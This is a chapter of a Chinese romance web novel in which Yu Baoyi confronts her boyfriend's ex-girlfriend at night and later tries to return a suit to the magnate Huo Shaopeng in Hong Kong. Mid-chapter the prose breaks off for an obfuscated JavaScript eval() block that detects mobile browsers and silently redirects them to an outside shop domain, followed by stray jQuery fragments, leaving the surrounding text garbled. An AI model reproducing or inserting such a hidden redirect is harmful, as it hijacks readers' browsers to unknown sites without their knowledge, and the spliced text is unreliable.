17. 阿邵
    和沈景程在一起前,虞宝意没谈过恋爱。

    但自小受父母伉俪情深的影响,她形成一套对比新时代饮食男女,称得上落后和古板的爱情观念。

    她对一段关系中的“单一性”,要求是完美无瑕。

    不做谁的第二选择,也不想任何人成为他们关系中的第二选择。

    虞宝意推门下车的动作莫名一顿,霍然回眸。

    她看了眼霍邵澎。

    只一眼,对上了又仓促收回,下车的动作多了分心虚的意味。

    “虞小姐,红灯——”助理想拦,已经来不及了。

    她抓着那件西服,放肆横穿深夜的马路,光明正大出现在争执的两人面前。

    沈景程一看到她,冷汗大片窜出额头,“Bowie,你怎么会在这?”

    “不是说回家了吗?”虞宝意念出沈景程之前回给她的消息。

    “听我解释,我……”

    “沈景程——”

    “你们为什么还要在一起?”女人身体迫不及待拦在两人中间,眼眶发红,面上残留的泪痕无色晶莹,“你不是千金大小姐吗?找个富二代去啊!我没有他我会死的,你不会!你把他还给我好不好?”

    “你闭嘴吧!”沈景程呵斥女人。

    这时,虞宝意才正眼瞧了下女人,音声淬冰:“常诗韵,不是谁都有义务谦让你的。”

    “我有病啊,你知道我会死的,真会死的,医生说我双相还有焦虑症,你、你看……”

    常诗韵边说,边撸起袖子想让虞宝意看上面自残的伤痕,被沈景程一把打开,护女友到身后,“够了,你还要闹多久?我们几年前就分手了。”

    “你是认识她之后才和我分手的!”常诗韵发狠推了下沈景程,反而倒退几步。

    “你看她有钱,我当时药钱都不够了,没法给你交房租,可你之前也为了给我买药住到更便宜的房子不是吗?沈景程,我们认识十多年了……”

    虞宝意别过头,眸色冷静得冷漠。

    沈景程只有这一位前女友。

    然而两人青梅竹马,早在高中就确认了关系,但大学并不在一起念,后来一同迈入社会,常诗韵工作压力大,现况又迟迟没好转,心理逐渐出现问题。

    虞宝意不清楚和沈景程的分手,是不是压垮她的最后一根稻草。

    自那以后病情加重,两度纠缠前男友被撞破,只是在她看不见的地方,比如此时此刻,私下还发生过多少回。

    可虞宝意觉得,都和她没关系。

    她没义务承担沈景程与常诗韵关系一地鸡毛的后果,这方面,她对病人的态度冷漠到无情。

    但也只会施压男友。

    “说完了吗?”虞宝意打断道,“沈景程,记住你之前答应我的话,我的底线在哪,你不能心里明知道还要去踩。”

    沈景程焦头烂额地解释:“不是这样的,她、她……”

    “是我知道了你家住的地方,我在景程家找不到他,就去了你家,原来真在等你啊。”

    说到这,常诗韵笑得比哭还难看,声调重新带上哭腔。

    虞宝意挣开男友捉住自己的手,又被他坚持捉回来。

    “放开,我要回家了,从这里走回去只用十五分钟。”

    她夹枪带棒地敲打沈景程,和前女友见面也不挑个远点的地方。

    “你、你留下行吗,我让她走……”

    “我不会走的,你今天必须跟我说清楚!”

    “我们早就完蛋了!”

    又是一番争执。

    这下,虞宝意用甩开的力道挣脱,面对沈景程无措看来的眼光,她一言不发,转头离开,把男女高亢冲动的声音抛却身后。

    他不会追的。

    虞宝意觉得沈景程应该知道,她在给他处理的时间。

    送她来的那台车早先已经掉过头,她需要重新过马路,才是回家的方向。

    虞宝意脚步未停,目光却停了。

    那台车还等在原地。

    不知过了几个红灯又几个绿灯,车身四周晕散的城市霓虹光一动也不动,像在等人。

    等人。

    冒出这个念头时,虞宝意正好走到车子正前方,她下意识看往车内,却因眼睛无法从晦暗环境中辨出想要的,而难以找到那人存在的证据。

    好似不存在。

    又在等她。

    虞宝意坚决与他错身而过,抓皱的西装前后摇晃,差些碰到地面。

    那刻,她莫名如释重负。

    -

    回到家后,虞宝意给梁思雪报了个平安,就把手机关机,倒头大睡。

    她忘记把霍邵澎的西装放柜子里,想着反正要清洗和保养,随意点无所谓。

    谁知第二日早上,关知荷敲门后进来,便看见那件西服搭在枕头上,虞宝意一半脸枕到上面,双眸紧闭着安睡。

    关知荷叫醒女儿,问她要不要去大屿山求签。

    虞宝意迷迷糊糊地揉眼睛,嘟囔道:“不去了,白天有事。”

    “什么事?”

    “帮……”她眼睛原半睁半闭,看上去还没清醒,又状似自然地把那个“帮”字遮掩过去,“出去一趟,晚上喊思雪上来吃饭。”

    “好,我也很久没看见小雪了。”

    说完,关知荷坐到床边,手摸了下那件西服的袖口,心里顿时有数。

    “Baby,白天是要帮小霍生把这件衣服洗干净,再送回去吗?”

    虞宝意眼皮紧张得跳了一跳,表情照旧维持着困顿,“你在说什么啊Mommy……”

    关知荷把西服从虞宝意身下抽出,问话云淡风轻:“你们什么时候认识的,很熟吗?”

    “不熟……”

    “那小霍生的衣服怎么会在你这?”

    听到这,虞宝意自知无法含混过去,睁开眼睛,目中哪还有半分倦意。

    “Mommy怎么知道是他的?”

    “我原本不知道,现在知道了。”关知荷笑了笑。

    又被母亲大人套了一手,果然姜还是老的辣。

    虞宝意坐起来,双腿折叠拱起被子,“我们没关系,也不熟,认识他是因为景程,你忘了景程说的承包了霍氏一桩工程吗?”

    关知荷不知道信与不信,也只字不提那夜霍邵澎送她回来语焉不详的事。

    “我是赞同并支持你多条路的——”

    “Mommy。”虞宝意不耐烦打断。

    “你听我说。”关知荷不紧不慢,“但我不是什么人都想你去接触,霍家门槛太高水太深,我不至于痴心妄想着去够,我也想我的Baby未来过得开心一点。”

    隔着一层被子,虞宝意胳膊环住膝盖,心脏说不清是被什么弄得发痒。

    “真的吗?Mommy不会强迫我去接近霍生?”

    “当然不会。”关知荷安抚式摸了下女儿的长发,“小霍生人品不错,这些年也没听他闹出过什么荒唐事,就当交个朋友吧。”

    虞宝意百分百信任自己亲爱的妈妈。

    她放弃追究听到关知荷态度迥异的回答时心脏的异样,起床吃完早餐,用防尘袋装好霍邵澎的西装,直奔那家店。

    来得早,又是熟客的女儿,经理做主插队让人帮虞宝意先弄,大约午饭前就能好。

    她去附近逛了会,接到经理电话时才想到一个很重要的问题。

    衣服怎么还给霍生?

    虞宝意拿到东西,听到负责养护的工作人员说,这件西服手工制作的精度堪称完美,他们提起十二万分精神,都生怕弄坏了。

    她若有所思地看了下,没有这方面的眼光,所以没观察出什么特别的。

    结束后,她打车前往位于中环西区花园道的霍氏大楼。

    该栋建筑由一位西班牙华裔建筑师主导设计,从上世纪规划设计到落地建成,足足耗时七年,高382.7米,统共八十五层。

    哪怕历经几十年建筑风貌的更新迭代与风霜雨雪,它也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12850024|135628||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    依然是中区经济的核心建筑与象征。

    虞宝意站在霍氏大楼下昂首。

    大楼最高点被初夏刺目的阳光模糊成重叠的金色光晕,竟似望不到的尽头,攀不上的山巅。

    与那人一样。

    她扮最不惹人注目的模样,走进北正门入口,找到预约点。

    “你话(说)……找小霍生?”工作人员拿座机电话手柄的手一滞,迟疑地放了回去,“请问你有预约吗?”

    “没有,麻烦你帮我转告一下可以吗?我姓虞。”

    工作人员弯唇,直言时礼数也做得妥帖,没有因为不认识虞宝意而目中无人。

    “抱歉虞小姐,霍生的预约不经过这里,我们也没有权限替你转告。或者,你能尝试联系下他的助理吗?”

    ……助理?

    虞宝意左思右想,她也没有Florence的电话。

    又一次加深了她的困惑,这次还连带着不安。

    他找她易如反掌,可她……

    被排斥在重重壁垒之外,束手无策。

    这时,她才有些理解关知荷所说的。

    “这里,是香港。”

    想归想,虞宝意还是翻出Whatsapp联系人,搜一个卓字,点开聊天框,斟酌过用词后发出。

    YI:「卓生,请问下您有空吗?」

    卓明峯:「您是什么,你是香港人吗」

    虞宝意会心一笑。

    粤语文化有很多种形式的尊称,偏偏没有“您”这个发音。

    YI:「我父亲大陆人」

    卓明峯:「虞总嘛,那口白话太犀利了,不是别人介绍,我都不知道他是大陆人」

    YI:「谁介绍?」

    卓明峯:「你找我什么事?」

    虞宝意把请求说出,当然,跳过了带霍邵澎在雨下奔跑赶末班船的事情。

    卓明峯回了个Noproblem,但又说不保证阿邵什么时候能看到,他很忙。

    阿邵。

    看到的一瞬,两个字在舌尖明显滚了下,急忙被她咽回肚子里,骗自己什么都没发生过。

    虞宝意觉得奇怪。

    从今早关知荷态度改变开始,她好像没那么抗拒和霍邵澎接触了。

    一件西装而已,真要还,放在前台让工作人员帮忙还也是一样的,何必麻烦别人传话。

    在虞宝意为自己同样古怪的行为找借口时,半个钟过去,迎来一波午休潮。再走四十分钟,人陆陆续续回来,卓明峯那边还没传来消息。

    她摸了摸瘪掉的肚子,决定先去解决中饭。

    中环百分之九十八都是打工人,附近开了不少平价茶餐厅和饭馆。

    虞宝意找了家带二层露天平台的,点了饭和咖啡,期间不止一次看Whatsapp,想要不要再去问问卓明峯。

    字已经敲到聊天框了,梁思雪恰好来消息。

    Mri:「等下要不要去逛街?顺便做个spa,结束一块买菜,好久没吃到巧姨做的饭了」

    虞宝意又把字一一删除,两分钟不到的思索时间,她回了句好。

    同时也下定决心,衣服交给工作人员。

    她想,见不到可能就是见不到。

    香港小,可有些人就是地铁同一列车的两端,也许会停在一个地方,但注定前往不同的方向。

    虞宝意招手唤人买单,低头在钱包数够港币,准备交给店员。

    后来,她一直不清楚,是不是那不到两分钟的迟疑,才导致原本方向相错的两趟列车,在某个站口长久地停下。

    可那时她也肯定,这里不是她的终点。

    更不是他的。

    总之,是停下了。

    交出港币时,她听到一句话,稍远的。

    “要买单吗?宝意。”

    她应声回眸,以诧然的目光接到霍邵澎声量渐近的第二句话。

    他站到她身后,垂眼。

    “可我还没吃中饭。”